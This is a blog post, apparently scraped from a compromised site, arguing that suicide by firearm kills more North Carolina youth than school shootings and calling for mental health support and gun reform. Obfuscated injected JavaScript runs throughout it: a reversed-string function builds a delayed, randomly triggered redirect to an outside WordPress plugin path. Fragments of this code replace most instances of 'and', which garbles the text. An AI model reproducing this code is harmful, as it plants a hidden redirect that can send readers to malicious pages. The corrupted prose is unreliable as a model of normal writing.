NC Kids’ Biggest Threat Isn’t Terrorists – It’s Themselves

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>>4961612244_74ced3b5af_oIt happens every few months: A deranged person enters a school andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and starts shooting people. For a few days, maybe weeks, the old gun debate emerges. As President Obama said recently, “>>This has become routine.”

We live our lives in fear of terrorists andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and strangers gunning our children down. We put elementary school students through lock-down drills andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coach teens on how to evacuate malls andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and movie theaters.

Yet we don’t talk as much about the person holding a gun that is far more likely to shoot our children dead: our children themselves.

Suicide is the >>second leading cause of death among 15-24 year old’s, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and third for children aged 10-14. Firearms are used in nearly 85% of these cases. In fact, >>self-inflicted gun deaths outnumber homicides 2-to-1.

Gun control is one issue. Mental health is another. Here is one instance where the two intertwine.

Here in North Carolina, >>1 in 10 middle schoolers has attempted suicide. We have to come together as a community to prevent this. However, this is more than just helping >>$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-events/suicide-prevention/warning-signs/”>identify the signs that someone may need help. We need to be asking the questions of our ourselves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and our society that are creating an environment where our young people see death as a preferable option to the lives they are leading, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and >>our laws that make it ever easier to carry out.

In a recently released >>study on suicide trends among children under the age of twelve, researchers note that >>incidences among black males have nearly doubled! This is deplorable.

Additionally, trans* teens are disproportionately affected by self-inflicted injury andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and suicide. >>Over 40% of gender non-conforming youth have attempted suicide. This >>does not indicate higher rates of mental illness – rather a social ill that allows the bullying, stigmas, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and abuse to continue.

North Carolina lawmakers have issued >>a call-to-action, but what does that really mean? Educating emergency responders, health care professionals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and school faculty is not enough.

Yes, we need to be aware of, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sensitive to, mental illnesses. Support services andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and continuation of care are important andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and necessary. Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why people are driven to suicide, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and >>what you can do to help. Dismantle the systems that allow for the outside-in destruction of our young people through marginalization andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and discrimination.

Work to reform the laws that permit wide distribution of dangerous weapons. Ask how you can be a part of crafting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enacting >>common-sense gun laws that protect our state’s children.

There will be another school shooting, but before that- there will be another >>42 youth suicides this week aloneHow many more have to die before we start taking notice?

To learn more about prevention efforts in your area, contact: >>NC Suicide Prevention Resource Center.




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